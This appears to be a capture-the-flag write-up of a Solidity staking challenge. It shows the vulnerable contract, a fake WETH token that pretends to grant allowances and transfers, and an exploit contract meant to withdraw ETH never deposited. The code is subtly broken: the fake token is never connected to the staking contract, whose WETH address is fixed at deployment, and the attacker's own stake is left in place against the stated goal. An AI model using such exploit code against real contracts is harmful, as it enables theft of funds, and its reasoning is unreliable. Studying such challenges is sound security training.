Skip to main content

Drain_Real_ETH


🚩 Fake WETH Drains Real ETH


Challenge Summary

This challenge involves a staking contract that accepts both:

  • Native ETH, and
  • Wrapped ETH (WETH) as an ERC-20 token.

It treats both tokens as having the same value (1:1). But there’s a bug: the contract trusts that WETH tokens are always honest, without verifying if a real transfer happened.

As attackers, we can fake stake tokens that don’t exist and then withdraw real ETH from the contract.


Challenge Objective

To complete the level, we need to reach a contract state where:

  • address(Stake).balance > 0 (contract still holds ETH),
  • totalStaked > address(Stake).balance (over-reported staked amount),
  • UserStake[attacker] == 0 (we've unstaked everything),
  • Stakers[attacker] == true (we were a valid staker).

Challenge Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;

constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}

function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}

function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(
abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this))
);
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(
abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount)
);
Stakers[msg.sender] = true;
return transfered;
}

function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}

function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}

Malicious Token (Fake WETH)

The contract doesn't check that the WETH transfer actually succeeded — so we can use a fake WETH contract that just lies!

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FakeWETH {
string public name = "FakeWETH";
string public symbol = "FWETH";
uint8 public decimals = 18;

mapping(address => mapping(address => uint256)) private _allowances;

function approve(address spender, uint256 amount) external returns (bool) {
_allowances[msg.sender][spender] = amount;
return true;
}

function allowance(address owner, address spender) external view returns (uint256) {
return type(uint256).max; // Pretend infinite allowance
}

function transferFrom(address from, address to, uint256 amount) external returns (bool) {
return true; // Pretend we transferred tokens
}
}

Attack Flow

  1. Stake real ETH (> 0.001 ETH) to become a valid staker.
  2. Fake-stake 1 WETH using the malicious token contract.
  3. Unstake 1 ETH — the contract sends you real ETH.
  4. You now have ETH you never actually deposited.

Exploit Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IStake {
function StakeETH() external payable;
function StakeWETH(uint256 amount) external returns (bool);
function Unstake(uint256 amount) external returns (bool);
}

contract Attack {
IStake public stake;

constructor(address _stakeAddress) {
stake = IStake(_stakeAddress);
}

function attack() external payable {
require(msg.value >= 0.002 ether, "Need ETH to fake-stake");

// Step 1: Stake real ETH to register as a staker
stake.StakeETH{value: 0.002 ether}(); // > 0.001 ether

// Step 2: Fake-stake 1 WETH (not actually transferred)
stake.StakeWETH(1 ether); // Just inflates our stake record

// Step 3: Unstake that fake WETH to get real ETH
stake.Unstake(1 ether);

// Step 4: Transfer stolen ETH to attacker
payable(msg.sender).transfer(address(this).balance);
}

receive() external payable {}
}

How We Drained ETH — Step-by-Step

StepActionReal ETH moved?What changes?
1StakeETH with 0.002 ETHYestotalStaked += 0.002, UserStake += 0.002, you're now a staker
2StakeWETH 1 ether (FakeWETH)NototalStaked += 1, UserStake += 1, but no real funds moved
3Unstake(1 ether)YesYou withdraw 1 ETH the contract thinks you staked
4Send ETH to your walletYesYou profit